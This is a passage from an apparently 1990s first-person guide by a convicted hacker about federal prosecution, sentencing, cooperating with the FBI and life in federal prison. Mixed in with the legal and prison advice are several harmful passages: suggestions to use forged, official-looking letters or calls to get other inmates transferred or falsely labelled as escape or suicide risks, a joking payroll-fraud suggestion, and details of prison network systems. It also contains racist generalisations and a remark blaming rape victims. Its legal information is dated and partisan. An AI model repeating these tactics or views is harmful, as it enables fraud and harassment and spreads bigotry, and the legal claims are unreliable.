well after you are sentenced. Plea agreements can be tricky business and if you are not careful or are in a bad defense position (the case against you is strong), your agreement may get the best of you. There are many issues in a plea to negotiate over. But essentially my advice would be to avoid signing away your right to appeal. Once you get to a real prison with real jailhouse lawyers you will find out how bad you got screwed. That issue notwithstanding, you are most likely going to want to appeal. This being the case you need to remember two things: bring all your appealable issues up at sentencing and file a notice of appeal within 10 days of your sentencing. Snooze and loose. I should however, mention that you can appeal some issues even though you signed away your rights to appeal. For example, you can not sign away your right to appeal an illegal sentence. If the judge orders something that is not permissible by statute, you then have a constitutional right to appeal your sentence. I will close this subpart with a prison joke. Q: How can you tell when your attorney is lying? A: You can see his lips moving. D. CONSPIRACY Whatever happened to getting off on a technicality? I'm sorry to say those days are gone, left only to the movies. The courts generally dismiss many arguments as "harmless error" or "the government acted in good faith". The most alarming trend, and surely the root of the prosecutions success, are the liberally worded conspiracy laws. Quite simply, if two or more people plan to do something illegal, then one of them does something in furtherance of the objective (even something legal), then it's a crime. Yes, it's true. In America it's illegal to simply talk about committing a crime. Paging Mr. Orwell. Hello? Here's a hypothetical example to clarify this. Bill G. and Marc A. are hackers (can you imagine?) Bill and Marc are talking on the phone and unbeknownst to them the FBI is recording the call. They talk about hacking into Apple's mainframe and erasing the prototype of the new Apple Web Browser. Later that day, Marc does some legitimate research to find out what type of mainframe and operating system Apple uses. The next morning, the Feds raid Marc's house and seize everything that has wires. Bill and Marc go to trial and spend millions to defend themselves. They are both found guilty of conspiracy to commit unauthorized access to a computer system. E. SENTENCING At this point it is up to the probation department to prepare a report for the court. It is their responsibility to calculate the loss and identify any aggravating or mitigating circumstances. Apple Computer Corporation estimates that if Bill and M arc would have been successful it would have resulted in a loss of $2 million. This is the figure the court will use. Based on this basic scenario our dynamic duo would receive roughly three-year sentences. As I mentioned, sentencing is complex and many factors can decrease or increase a sentence, usually the latter. Let's say that the FBI also found a file on Marc's computer with 50,000 unauthorized account numbers and passwords to The Microsoft Network. Even if the FBI does not charge him with this, it could be used to increase his sentence. Generally the government places a $200-per-account attempted loss on things of this nature (i.e. credit card numbers and passwords = access devices). This makes for a $10 million loss. Coupled with the $2 million from Apple, Marc is going away for about nine years. Fortunately there is a Federal Prison not too far from Redmond, WA so Bill could come visit him. Some of the other factors to be used in the calculation of a sentence might include the following: past criminal record, how big your role in the offense was, mental disabilities, whether or not you were on probation at the time of the offense, if any weapons were used, if any threats were used, if your name is Kevin Mitnick (heh), if an elderly person was victimized, if you took advantage of your employment position, if you are highly trained and used your special skill, if you cooperated with the authorities, if you show remorse, if you went to trial, etc. These are just some of the many factors that could either increase or decrease a sentence. It would be beyond the scope of this article to cover the U.S.S.G. in complete detail. I do feel that I have skipped over some significant issues. Neverthele ss, if you remember my two main points in addition to how the conspiracy law works, you'll be a long way ahead in protecting yourself. F. USE OF A SPECIAL SKILL The only specific "sentencing enhancement" I would like to cover would be one that I am responsible for setting a precedent with. In U.S. v Petersen, 98 F.3d. 502, 9th Cir., the United States Court of Appeals held that some computer hackers may qualify for the special skill enhancement. What this generally means is a 6 to 24 month increase in a sentence. In my case it added eight months to my 33-month sentence bringing it to 41 months. Essentially the court stated that since I used my "sophisticated" hacking skills towards a legitimate end as a computer security consultant, then the enhancement applies. It's ironic that if I were to have remained strictly a criminal hacker then I would have served less time. The moral of the story is that the government will find ways to give you as much time as they want to. The U.S.S.G. came into effect in 1987 in an attempt to eliminate disparity in sentencing. Defendants with similar crimes and similar backgrounds would often receive different sentences. Unfortunately, this practice still continues. The U.S.S.G. are indeed a failure. G. GETTING BAIL In the past, the Feds might simply have executed their raid and then left without arresting you. Presently this method will be the exception rather than the rule and it is more likely that you will be taken into custody at the time of the raid. Chances are also good that you will not be released on bail. This is part of the government's plan to break you down and win their case. If they can find any reason to deny you bail they will. In order to qualify for bail, you must meet the following criteri a: - You must be a resident of the jurisdiction in which you were arrested. - You must be gainfully employed or have family ties to the area. - You cannot have a history of failure to appear or escape. - You cannot be considered a danger or threat to the community. In addition, your bail can be denied for the following reasons: - Someone came forward and stated to the court that you said you would flee if released. - Your sentence will be long if convicted. - You have a prior criminal history. - You have pending charges in another jurisdiction. What results from all this "bail reform" is that only about 20% of persons arrested make bail. On top of that it takes 1-3 weeks to process your bail papers when property is involved in securing your bond. Now you're in jail, more specifically you are either in an administrative holding facility or a county jail that has a contract with the Feds to hold their prisoners. Pray that you are in a large enough city to justify its own Federal Detention Center. County jails are typically the last place you would want to be. H. STATE VS. FEDERAL CHARGES In some cases you will be facing state charges with the possibility of the Feds "picking them up." You may even be able to nudge the Feds into indicting you. This is a tough decision. With the state you will do considerably less time, but will face a tougher crowd and conditions in prison. Granted Federal Prisons can be violent too, but generally as a non-violent white collar criminal you will eventually be placed into an environment with other low security inmates. More on this later. Until you are sentenced, you will remain as a "pretrial inmate" in general population with other inmates. Some of the other inmates will be predatorial but the Feds do not tolerate much nonsense. If someone acts up, they'll get thrown in the hole. If they continue to pose a threat to the inmate population, they will be left in segregation (the hole). Occasionally inmates that are at risk or that have been threatened will be placed in segregation. This isn't really to protect the inmate. It is to pr otect the prison from a lawsuit should the inmate get injured. I. COOPERATING Naturally when you are first arrested the suits will want to talk to you. First at your residence and, if you appear to be talkative, they will take you back to their offices for an extended chat and a cup of coffee. My advice at this point is tried and true and we've all heard it before: remain silent and ask to speak with an attorney. Regardless of what the situation is, or how you plan to proceed, there is nothing you can say that will help you. Nothing. Even if you know that you are going to cooperate, this is not the time. This is obviously a controversial subject, but the fact of the matter is roughly 80% of all defendants eventually confess and implicate others. This trend stems from the extremely long sentences the Feds are handing out these days. Not many people want to do 10 to 20 years to save their buddies' hides when they could be doing 3 to 5. This is a decision each individual needs to make. My only advice would be to save your close friends and family. Anyone else is fair game. In the prison system the blacks have a saying "Getting down first." It's no secret that the first defendant in a conspiracy is usually going to get the best deal. I've even seen situations where the big fish turned in all his little fish and eceived 40% off his sentence. Incidently, being debriefed or interrogated by the Feds can be an ordeal in itself. I would -highly- reccommend reading up on interrogation techniques ahead of time. Once you know their methods it will be all quite transparent to you and the debriefing goes much more smoothly. When you make a deal with the government you're making a deal with the devil himself. If you make any mistakes they will renege on the deal and you'll get nothing. On some occasions the government will trick you into thinking they want you to cooperate when they are not really interested in anything you have to say. They just want you to plead guilty. When you sign the cooperation agreement there are no set promises as to how much of a sentence reduction you will receive. That is to be decided after your testimony, etc. and at the time of sentencing. It's entirely up to the judge. However, the prosecution makes the recommendation and the judge generally goes along with it. In fact, if the prosecution does not motion the court for your "downward departure" the courts' hands are tied and you get no break. As you can see, cooperating is a tricky business. Most people, particularly those who have never spent a day in jail, will tell you not to cooperate. "Don't snitch." This is a noble stance to take. However, in some situations it is just plain stupid. Saving someone's ass who would easily do the same to you is a tough call. It's something that needs careful consideration. Like I said, save your friends then do what you have to do to get out of prison and on with your life. I'm happy to say that I was able to avoid involving my good friends and a former employer in the massive investigation that surrounded my case. It wasn't easy. I had to walk a fine line. Many of you probably know that I (Agent Steal) went to work for the FBI after I was arrested. I was responsible for teaching several agents about hacking and the culture. What many of you don't know is that I had close FBI ties prior to my arrest. I was involved in hacking for over 15 years and had worked as a comp uter security consultant. That is why I was given that opportunity. It is unlikely however, that we will see many more of these types of arrangements in the future. Our relationship ran afoul, mostly due to their passive negligence and lack of experience in dealing with hackers. The government in general now has their own resources, experience, and undercover agents within the community. They no longer need hackers to show them the ropes or the latest security hole. Nevertheless, if you are in the position to tell the Feds something they don't know and help them build a case against someone, you may qualify for a sentence reduction. The typical range is 20% to 70%. Usually it's around 35% to 50%. Sometimes you may find yourself at the end of the prosecutorial food chain and the government will not let you cooperate. Kevin Mitnick would be a good example of this. Even if he wanted to roll over, I doubt it would get him much. He's just too big of a fish, too much media. My final advice in this matter is get the deal in writing before you start cooperating. The Feds also like it when you "come clean" and accept responsibility. There is a provision in the Sentencing Guidelines, 3E1.1, that knocks a little bit of time off if you confess to your crime, plead guilty and show remorse. If you go to trial, typically you will not qualify for this "acceptance of responsibility" and your sentence will be longer. J. STILL THINKING ABOUT TRIAL Many hackers may remember the Craig Neidorf case over the famous 911 System Operation documents. Craig won his case when it was discovered that the manual in question, that he had published in Phrack magazine, was not proprietary as claimed but available publicly from AT&T. It was an egg in the face day for the Secret Service. Don't be misled by this. The government learned a lot from this fiasco and even with the laudable support from the EFF, Craig narrowly thwarted off a conviction. Regardless, it was a trying experience (no pun intended) for him and his attorneys. Th e point I'm trying to make is that it's tough to beat the Feds. They play dirty and will do just about anything, including lie, to win their case. If you want to really win you need to know how they build a case in the first place. K. SEARCH AND SEIZURE There is a document entitled "Federal Guidelines For Searching And Seizing Computers." It first came to my attention when it was published in the 12-21-94 edition of the Criminal Law Reporter by the Bureau of National Affairs (Cite as 56 CRL 2023 ) . It's an intriguing collection of tips, cases, mistakes and, in general, how to bust computer hackers. It's recommended reading. Search and seizure is an ever evolving jurisprudence. What's not permissible today may, through some convoluted Supreme Court logic, be permissible and legal tomorrow. Again, a complete treatment of this subject is beyond the scope of this paper. But suffice it to say if a Federal agent wants to walk right into your bedroom and seize all of your computer equipment without a warrant he could do it by simply saying he had probable cause (PC). PC is anything that gives him an inkling to believe you we re committing a crime. Police have been known to find PC to search a car when the trunk sat too low to the ground or the high beams were always on. L. SURVEILLANCE AND WIRETAPS Fortunately the Feds still have to show a little restraint when wielding their wiretaps. It requires a court order and they have to show that there is no other way to obtain the information they seek, a last resort if you will. Wiretaps are also expensive to operate. They have to lease lines from the phone company, pay agents to monitor it 24 hours a day and then transcribe it. If we are talking about a data tap, there are additional costs. Expensive interception/translation equipment must be in place to negotiate the various modem speeds. Then the data has to be stored, deciphered, decompressed, formatted, protocoled, etc. It's a daunting task and usually reserved for only the highest profile cases. If the Feds can seize the data from any other so urce, like the service provider or victim, they will take that route. I don't know what they hate worse though, asking for outside help or wasting valuable internal resources. The simplest method is to enlist the help of an informant who will testify "I saw him do it!," then obtain a search warrant to seize the evidence on your computer. Ba da boom, ba da busted. Other devices include a pen register which is a device that logs every digit you dial on your phone and the length of the calls, both incoming and outgoing. The phone companies keep racks of them at their security departments. They can place one on your line within a day if they feel you are defrauding them. They don't need a court order, but the Feds do. A trap, or trap and trace, is typically any method the phone company uses to log every number that calls a particular number. This can be done on the switching system level or via a billing database search. The Feds need a court order for this information too. However, I've heard stories of cooperative telco security investigations passing the information along to an agent. Naturally that would be a "harmless error while acting in good faith." (legal humor) I'd love to tell you more about FBI wiretaps but this is as far as I can go without pissing them off. Everything I've told you thus far is public knowledge. So I think I'll stop here. If you really want to know more, catch Kevin Poulsen (Dark Dante ) at a cocktail party, buy him a Coke and he'll give you an earful. (hacker humor) In closing this subpart I will say that most electronic surveillance is backed up with at least part-time physical surveillance. The Feds are often good at following people around. They like late model mid-sized American cars, very stock, with no decals or bumper stickers. If you really want to know if you're under surveillance, buy an Opto-electronics Scout or Xplorer frequency counter. Hide it on your person, stick an ear plug in your ear (for the Xplorer) and take it everywhere you go. If you he ar people talking about you, or you continue to hear intermittent static (encrypted speech), you probably have a problem. M. YOUR PRESENTENCE INVESTIGATION REPORT, PSI OR PSR After you plead guilty you will be dragged from the quiet and comfort of your prison cell to meet with a probation officer. This has absolutely nothing to do with getting probation. Quite the contrary. The P.O. is empowered by the court to prepare a complete and, in theory, unbiased profile of the defendant. Everything from education, criminal history, psychological behavior, offense characteristics plus more will be included in this voluminous and painfully detailed report about your life. Every little dirty scrap of information that makes you look like a sociopathic, demon worshiping, loathsome criminal will be included in this report. They'll put a few negative things in there as well. My advice is simple. Be careful what you tell them. Have your attorney present and think about how what you say can be used against you. Here's an example: P.O.: Tell me about your education and what you like to do in your spare time. Mr. Steal: I am preparing to enroll in my final year of college. In my spare time I work for charity helping orphan children. The PSR then reads "Mr. Steal has never completed his education and hangs around with little children in his spare time." Get the picture? J. PROCEEDING PRO SE Pro Se or Pro Per is when a defendant represents himself. A famous lawyer once said "a man that represents himself has a fool for a client." Truer words were never spoken. However, I can't stress how important it is to fully understand the criminal justice system. Even if you have a great attorney it's good to be able to keep an eye on him or even help out. An educated client's help can be of enormous benefit to an attorney. They may think you're a pain in the ass but it's your life. Take a hold of it. Regardless, representing yourself is generally a mistake. However, after your appeal, when your court appointed attorney runs out on you, or you have run out of funds, you will be forced to handle matters yourself. At this point there are legal avenues, although quite bleak, for post-conviction relief. But I digress. The best place to start in understanding the legal system lies in three inexpensive books. First the Federal Sentencing Guidelines ($14.00) and Federal Criminal Codes and Rules ($20.00) are available from West Publishing at 800-328-9 352. I consider possession of these books to be mandatory for any pretrial inmate. Second would be the Georgetown Law Journal, available from Georgetown University Bookstore in Washington, DC. The book sells for around $40.00 but if you write them a letter and tell them you're a Pro Se litigant they will send it for free. And last but not least the definitive Pro Se authority, "The Prisoners Self Help Litigation Manual" $29.95 ISBN 0-379-20831-8. Or try http://www.oceanalaw.com/books/n148.htm O. EVIDENTIARY HEARING If you disagree with some of the information presented in the presentence report (PSR) you may be entitled to a special hearing. This can be instrumental in lowering your sentence or correcting your PSR. One important thing to know is that your PSR will follow you the whole time you are incarcerated. The Bureau of Prisons uses the PSR to decide how to handle you. This can affect your security level, your halfway house, your eligibility for the drug program (which gives you a year off your sentence) ,and your medical care. So make sure your PSR is accurate before you get sentenced! P. GETTING YOUR PROPERTY BACK In most cases it will be necessary to formally ask the court to have your property returned. They are not going to just call you up and say "Do you want this Sparc Station back or what?" No, they would just as soon keep it and not asking for it is as good as telling them they can have it. You will need to file a 41(e) "Motion For Return Of Property." The courts' authority to keep your stuff is not always clear and will have to be taken on a case-by-case basis. They may not care and the judge will simply order that it be returned. If you don't know how to write a motion, just send a formal letter to the judge asking for it back. Tell him you need it for your job. This should suffice, but there may be a filing fee. Q. OUTSTANDING WARRANTS If you have an outstanding warrant or charges pending in another jurisdiction you would be wise to deal with them as soon as possible -after- you are sentenced. If you follow the correct procedure chances are good the warrants will be dropped (quashed). In the worst case scenario, you will be transported to the appropriate jurisdiction, plead guilty and have your "time run concurrent." Typically in non-violent crimes you can serve several sentences all at the same time. Many Federal inmates have their state time run with their Federal time. In a nutshell: concurrent is good, consecutive bad. This procedure is referred to as the Interstate Agreement On Detainers Act (IADA). You may also file a "demand for speedy trial", with the appropriate court. This starts the meter running. If they don't extradite you within a certain period of time , the charges will have to be dropped. The "Inmates' Self-Help Litigation Manual" that I mentioned earlier covers this topic quite well. R. ENCRYPTION There are probably a few of you out there saying, "I triple DES encrypt my hard drive and 128 character RSA public key it for safety." Well, that's just great, but... the Feds can have a grand jury subpoena your passwords and if you don't give them up you may be charged with obstruction of justice. Of course who's to say otherwise if you forgot your password in all the excitement of getting arrested. I think I heard this once or twice before in a Senate Sub-committee hearing. "Senator, I have no recollection of the aforementioned events at this time." But seriously, strong encryption is great. However, it would be foolish to rely on it. If the Feds have your computer and access to your encryption software itself, it is likely they could break it gi ven the motivation. If you understand the true art of code breaking you should understand this. People often overlook the fact that your password, the one you use to access your encryption program, is typically less than 8 characters long. By attacking the access to your encryption program with a keyboard emulation sequencer your triple DES/128 bit RSA crypto is worthless. Just remember, encryption may not protect you. S. LEGAL SUMMARY Before I move on to the Life in Prison subpart, let me tell you what this all means. You're going to get busted, lose everything you own, not get out on bail, snitch on your enemies, get even more time than you expected and have to put up with a bu nch of idiots in prison. Sound fun? Keep hacking. And, if possible, work on those sensitive .gov sites. That way they can hang an espionage rap on you. That will carry about 12 to 18 years for a first time offender. I know this may all sound a bit bleak, but the stakes for hackers have gone up and you need to know what they are. Let's take a look at some recent sentences: Agent Steal (me) 41 months Kevin Poulsen 51 months Minor Threat 70 months Kevin Mitnick estimated 7-9 years As you can see, the Feds are giving out some time now. If you are young, a first-time offender, unsophisticated (like MOD), and were just looking around in some little company's database, you might get probation. But chances are that if that is all you were doing, you would have been passed over for prosecution. As a rule, the Feds won't take the case unless $10,000 in damages are involved. The problem is who is to say what the loss is? The company can say whatever figure it likes and it would be t ough to prove otherwise. They may decide to, for insurance purposes, blame some huge downtime expense on you. I can hear it now, "When we detected the intruder, we promptly took our system off-line. It took us two weeks to bring it up again for a loss in wasted manpower of $2 million." In some ases you might be better off just using the company's payroll system to cut you a couple of $10,000 checks. That way the government has a firm loss figure. This would result in a much shorter sentence. I'm not advocating blatant criminal actions. I just think the sentencing guidelines definitely need some work. PART II - FEDERAL PRISON A. STATE v. FEDERAL In most cases I would say that doing time in a Federal Prison is better than doing time in the state institutions. Some state prisons are such violent and pathetic places that it's worth doing a little more time in the Federal system. This is going to be changing however. The public seems to think that prisons are too comfortable and as a result Congress has passed a few bills to toughen things up. Federal prisons are generally going to be somewhat less crowded, cleaner, and more laid back. The prison I was at looked a lot like a college campus with plenty of grass and trees, rolling hills, and stucco buildings. I spent most of my time in the library hanging out with Minor Threat. We would argue over who was more elite. "My sentence was longer," he would argue. "I was in more books and newspapers," I would rebut. (humor) Exceptions to the Fed is better rule would be states that permit televisions and word processors in your cell. As I sit here just prior to release scribbling this article with pen and paper I yearn for even a Smith Corona with one line display. The states have varying privileges. You could wind up someplace where everything gets stolen from you. There are also states that are abolishing parole, thus taking away the ability to get out early with good behavior. That is what the Feds did. B. SECURITY LEVELS The Bureau of Prisons (BOP) has six security levels. Prisons are assigned a security level and only prisoners with the appropriate ratings are housed there. Often the BOP will have two or three facilities at one location. Still, they are essentially separate prisons, divided by fences. The lowest level facility is called a minimum, a camp, or FPC. Generally speaking, you will find first time, non-violent offenders with less than 10 year sentences there. Camps have no fences. Your work assignment at a camp is usually off the prison grounds at a nearby military base. Other times camps operate as support for other nearby prisons. The next level up is a low Federal Correctional Institution (FCI). These are where you find a lot of people who should be in a camp but for some technical reason didn't qualify. There is a double fence with razor wire surrounding it. Again you will find mostly non-violent types here. You would really have to piss someone off before they would take a swing at you. Moving up again we get to medium and high FCI's which are often combined. More razor wire, more guards, restricted movement and a rougher crowd. It's also common to find people with 20 or 30+ year sentences. Fighting is much more common. Keep to yourself, however, and people generally leave you alone. Killings are not too terribly common. With a prison population of 1500-2000, about one or two a year leave on a stretcher and don't come back. The United States Penatentury (U.S.P.) is where you find the murderers, rapists, spies and the roughest gang bangers. "Leavenworth" and "Atlanta" are the most infamous of these joints. Traditionally surrounded by a 40 foot brick wall, they take on an ominous appearance. The murder rate per prison averages about 30 per year with well over 250 stabbings. The highest security level in the system is Max, sometimes referred to as "Supermax." Max custody inmates are locked down all the time. Your mail is shown to you over a TV screen in your cell. The shower is on wheels and it comes to your door. You rarely see other humans and if you do leave your cell you will be handcuffed and have at least a three guard escort. Mr. Gotti, the Mafia boss, remains in Supermax. So does Aldridge Ames, the spy. C. GETTING DESIGNATED Once you are sentenced, the BOP has to figure out what they want to do with you. There is a manual called the "Custody and Classification Manual" that they are supposed to follow. It is publicly available through the Freedom of Information Act and it is also in most prison law libraries. Unfortunately, it can be interpreted a number of different ways. As a result, most prison officials responsible for classifying you do pretty much as they please. Your first classification is done by the Region Designator at BOP Regional Headquarters. As a computer hacker you will most likely be placed in a camp or a low FCI. This is assuming you weren't pulling bank jobs on the side. -IF- you do wind up in an FCI, you should make it to a camp after six months. This is assuming you behave yourself. Another thing the Region Designator will do is to place a "Computer No" on your file. This means you will not be allowed to operate a computer at your prison work assignment. In my case I wasn't allowed to be within 10 feet of one. It was explained to me that they didn't even want me to know the types of software they were running. Incidentally, the BOP uses PC/Server based LANs with NetWare 4.1 running on Fiber 10baseT Ethernet connections to Cabletron switches and hubs. PC based gateways reside a t every prison. The connection to the IBM mainframe (Sentry) is done through leased lines via Sprintnet's Frame Relay service with 3270 emulation software/hardware resident on the local servers. Sentry resides in Washington, D.C. with SNA type network con centrators at the regional offices. ;-) And I picked all of this up without even trying to. Needless to say, BOP computer security is very lax. Many of their publicly available "Program Statements" contain specific information on how to use Sentry and wha t it's designed to do. They have other networks as well, but this is not a tutorial on how to hack the BOP. I'll save that for if they ever really piss me off. (humor) Not surprisingly, the BOP is very paranoid about computer hackers. I went out of my way not to be interested in their systems or to receive computer security related mail. Nevertheless, they tried restricting my mail on numerous occasions. After I filed numerous grievances and had a meeting with the warden, they decided I was probably going to behave myself. My 20 or so magazine subscriptions were permitted to come in, after a special screening. Despite all of that I still had occasional problems, usually when I received something esoteric in nature. It's my understanding, however, that many hackers at other prisons have not been as fortunate as I was. D. IGNORANT INMATES You will meet some of the stupidest people on the planet in prison. I suppose that is why they are there, too dumb to do anything except crime. And for some strange reason these uneducated low class common thieves think they deserve your respect. In fact they will often demand it. These are the same people that condemn everyone who cooperated, while at the same time feel it is fine to break into your house or rob a store at gunpoint. These are the types of inmates you will be incarcerated with, an d occasionally these inmates will try to get over on you. They will do this for no reason other than the fact you are an easy mark. There are a few tricks hackers can do to protect themselves in prison. The key to your success is acting before the problem escalates. It is also important to have someone outside (preferably another hacker) that can do some social engineering for you. The objective is simply to have your problem inmate moved to another institution. I don't want to give away my methods but if staff believes that an inmate is going to cause trouble, or if they believe his life is in danger, they will move him or loc k him away in segregation. Social engineered letters (official looking) or phone calls from the right source to the right department will often evoke brisk action. It's also quite simple to make an inmates life quite miserable. If the BOP has reason to be lieve that an inmate is an escape risk, a suicide threat, or had pending charges, they will handle them much differently. Tacking these labels on an inmate would be a real nasty trick. I have a saying: "Hackers usually have the last word in arguments." In deed. Chances are you won't have many troubles in prison. This especially applies if you go to a camp, mind your own business, and watch your mouth. Nevertheless, I've covered all of this in the event you find yourself caught up in the ignorant behavior of inmates whose lives revolve around prison. And one last piece of advice, don't make threats, truly stupid people are too stupid to fear anything, particularly an intelligent man. Just do it. E. POPULATION The distribution of blacks, whites and Hispanics varies from institution to institution. Overall it works out to roughly 30% white, 30% Hispanic and 30% black. The remaining 10% are various other races. Some joints have a high percent of blacks and vice versa. I'm not necessarily a prejudiced person, but prisons where blacks are in majority are a nightmare. Acting loud, disrespectful, and trying to run the place is par for the course. In terms of crimes, 60% of the Federal inmate population are incarcerated for drug related crimes. The next most common would be bank robbery (usually for quick drug money), then various white collar crimes. The Federal prison population has changed over the years. It used to be a place for the criminal elite. The tough drug laws have changed all of that. Just to quell the rumors, I'm going to cover the topic of prison rape. Quite simply, in medium and low security level Federal prisons it is unheard of. In the highs it rarely happens. When it does happen, one could argue that the victim was asking for it. I heard an inmate say once, "You can't make no inmate suck cock that don't wanta." Indeed. In my 41 months of incarceration, I never felt in any danger. I would occasionally have inmates that would subtly ask me questions to see where my preferences lie, but once I made it clear that I didn't swing that way I would be left alone. Hell, I got hit on more often when I was hanging out in Hollywood! On the other hand, state prisons can be a hostile environment for rape and fighting in general. Many of us heard how Bernie S. got beat up over use of the phone. Indeed, I had to get busy a couple of times. Most prison arguments occur over three simple things: the phone, the TV and money/drugs. If you want to stay out of trouble in a state prison, or Federal for that matter, don't use the phone too long, don't change the channel and don't get involved in gambling or drugs. As far as rape goes, pick your friends carefully and stick with them. And always, always, be respectful. Even if the guy is a fucking idiot (and most inmates are), say excuse me. My final piece of prison etiquette advice would be to never take your inmate problems to "the man" (prison staff). Despite the fact that most everyone in prison snitched on their co-defendants at trial, there is no excuse for being a prison rat. Th e rules are set by the prisoners themselves. If someone steps out of line there will likely be another inmate who will be happy to knock him back. In some prisons inmates are so afraid of being labeled a rat that they refuse to be seen talking alone with a prison staff member. I should close this paragraph by stating that this bit of etiquette is routinely ignored as other inmates will snitch on you for any reason whatsoever. Prison is a strange environment. F. DOING TIME You can make what you want to out of prison. Some people sit around and do dope all day. Others immerse themselves in a routine of work and exercise. I studied technology and music. Regardless, prisons are no longer a place of rehabilitation. They serve only to punish and conditions are only going to worsen. The effect is that angry, uneducated, and unproductive inmates are being released back into society. While I was incarcerated in 95/96, the prison band program was still in operation. I played drums for two different prison bands. It really helped pass the time and when I get out I will continue with my career in music. Now the program has been canceled, all because some senator wanted to be seen as being tough on crime. Bills were passed in Congress. The cable TV is gone, pornography mags are no longer permitted, and the weight piles are being removed. All this means is that prisoners will have m ore spare time on their hands, and so more guards will have to be hired to watch the prisoners. I don't want to get started on this subject. Essentially what I'm saying is make something out of your time. Study, get into a routine and before you know you 'll be going home, and a better person on top of it. G. DISCIPLINARY ACTIONS What fun is it if you go to prison and don't get into some mischief? Well, I'm happy to say the only "shots" (violations) I ever received were for having a friend place a call with his three-way calling for me (you can't call everyone collect), and drinking homemade wine. |-) The prison occasionally monitors your phone calls and on the seven or eight hundredth time I made a three-way I got caught. My punishment was ten hours of extra duty (cleaning up). Other punishments for shots include loss of phone use, loss of commissary, loss of visits, and getting thrown in the hole. Shots can also increase your security level and can get you transferred to a higher level institution. If you find yourself having trouble in this area you may want to pick up t he book, "How to win prison disciplinary hearings", by Alan Parmelee, 206-328-2875. H. ADMINISTRATIVE REMEDY If you have a disagreement with the way staff is handling your case (and you will) or another complaint, there is an administrative remedy procedure. First you must try to resolve it informally. Then you can file a form BP-9. The BP-9 goes to the warden. After that you can file a BP-10 which goes to the region. Finally, a BP-11 goes to the National BOP Headquarters (Central Office). The whole procedure is a joke and takes about six months to complete. Delay and conquer is the BOP motto. After you c omplete the remedy process to no avail, you may file your action in a civil court. In some extreme cases you may take your case directly to the courts without exhausting the remedy process. Again, the "Prisoners Self-Help Litigation Manual" covers this qu ite well. My best advice with this remedy nonsense is to keep your request brief, clear, concise and only ask for one specific thing per form. Usually if you "got it coming" you will get it. If you don't, or if the BOP can find any reason to deny your request, they will. For this reason I often took my problems outside the prison from the start. If it was a substantial enough issue I would inform the media, the director of the BOP, all three of my attorneys, my judge and the ACLU. Often this worked. It always pisse d them off. But, alas I'm a man of principle and if you deprive me of my rights I'm going to raise hell. In the past I might have resorted to hacker tactics, like disrupting the BOP's entire communication system bringing it crashing down! But...I'm rehabilitated now. Incidently, most BOP officials and inmates have no concept of the kind of havoc a hacker can wield on an individuals life. So until some hacker shows the BOP which end is up you will have to accept the fact most everyone you meet in prison will have only nominal respect for you. Deal with it, you're not in cyberspace anymore. I. PRISON OFFICIALS There are two types, dumb and dumber. I've had respect for several but I've never met one that impressed me as being particularly talented in a way other than following orders. Typically you will find staff that are either just doing their job, or staff that is determined to advance their career. The latter take their jobs and themselves way too seriously. They don't get anywhere by being nice to inmates so they are often quite curt. Ex-military and law enforcement wannabes are commonplace. All in all they're a pain in the ass but easy to deal with. Anyone who has ever been down (incarcerated) for awhile knows it's best to keep a low profile. If they don't know you by name you're in good shape. One of the problems that computer hackers will encounter with prison staff is fear and/or resentment. If you are a pretentious articulate educated white boy like myself you would be wise to act a little stupid. These people don't want to respect yo u and some of them will hate everything that you stand for. Many dislike all inmates to begin with. And the concept of you someday having a great job and being successful bothers them. It's all a rather bizarre environment where everyone seems to hate the ir jobs. I guess I've led a sheltered life. Before I move on, sometimes there will be certain staff members, like your Case Manager, that will have a substantial amount of control over your situation. The best way to deal with the person is to stay out of their way. Be polite, don't file grievances against them and hope that they will take care of you when it comes time. If this doesn't seem to work, then you need to be a total pain in the ass and ride them with every possible request you can muster. It's especially helpful if you have outsi de people willing to make calls. Strong media attention will usually, at the very least, make the prison do what they are supposed to do. If you have received a lot of bad press, this could be a disadvantage. If you care continues to be a problem, the pr ison will transfer you to another facility where you are more likely to get a break. All in all how you choose to deal with staff is often a difficult decision. My advice is that unless you are really getting screwed over or really hate the prison you are in, don't rock the boat. J. THE HOLE Segregation sucks, but chances are you will find yourself there at some point and usually for the most ridiculous of reasons. Sometimes you will wind up there because of what someone else did. The hole is a 6' x 10' concrete room with a steel bed and steel toilet. Your privileges will vary, but at first you get nothing but a shower every couple of days. Naturally they feed you but, it's never enough, and it's often cold. With no snacks you often find yourself quite hungry in-between meals. There is nothing to do there except read and hopefully some guard has been kind enough to throw you some old novel. Disciplinary actions will land you in the hole for typically a week or two. In some cases you might get stuck there for a month or three. It depends on the shot and on the Lieutenant that sent you there. Sometimes people never leave the hole.... K. GOOD TIME You get 54 days per year off of your sentence for good behavior. If anyone tells you that a bill is going to be passed to give 108 days, they are lying. 54 days a year works out to 15% and you have to do something significant to justify getting that taken away. The BOP has come up with the most complicated and ridiculous way to calculate how much good time you have earned. They have a book about three inches thick that discusses how to calculate your exact release date. I studied the book intensely and came to the conclusion that the only purpose it serves is to covertly steal a few days of good time from you. Go figure. L. HALFWAY HOUSE All "eligible" inmates are to serve the last 10% of their sentence (not to exceed six months) in a Community Corrections Center (CCC). At the CCC, which is nothing more than a large house in a bad part of town, you are to find a job in the communit y and spend your evenings and nights at the CCC. You have to give 25% of the gross amount of your check to the CCC to pay for all of your expenses, unless you are a rare Federal prisoner sentenced to serve all of your time at the CCC in which case it is 1 0%. They will breathalyse and urinanalyse you routinely to make sure you are not having too much fun. If you're a good little hacker you'll get a weekend pass so you can stay out all night. Most CCCs will transfer you to home confinement status after a few weeks. This means you can move into your own place, (if they approve it) but still have to be in for the evenings. They check up on you by phone. And no, you are not allowed call forwarding, silly rabbit. M. SUPERVISED RELEASE Just when you think the fun is all over, after you are released from prison or the CCC, you will be required to report to a Probation Officer. For the next 3 to 5 years you will be on Supervised Release. The government abolished parole, thereby preventing convicts from getting out of prison early. Despite this they still want to keep tabs on you for awhile. Supervised Release, in my opinion, is nothing more than extended punishment. You are a not a free man able to travel and work as you please. All of your activities will have to be presented to your Probation Officer (P.O.). And probation is essentially what Supervised Release is. Your P.O. can violate you for any technical violations and send you back to prison for several months, or over a year. If you have ANY history of drug use you will be required to submit to random (weekly) urinalyses. If you come up dirty it's back to the joint. As a hacker you may find that your access to work with, or possession of computer equipment may be restricted. While this may sound pragmatic to the public, in practice it serves no other purpose that to punish and limit a former hacker's ability t o support himself. With computers at libraries, copy shops, schools, and virtually everywhere, it's much like restricting someone who used a car to get to and from a bank robbery to not ever drive again. If a hacker is predisposed to hacking he's going to be able to do it with or without restrictions. In reality many hackers don't even need a computer to achieve their goals. As you probably know a phone and a little social engineering go a long way. But with any luck you will be assigned a reasonable P.O. and you will 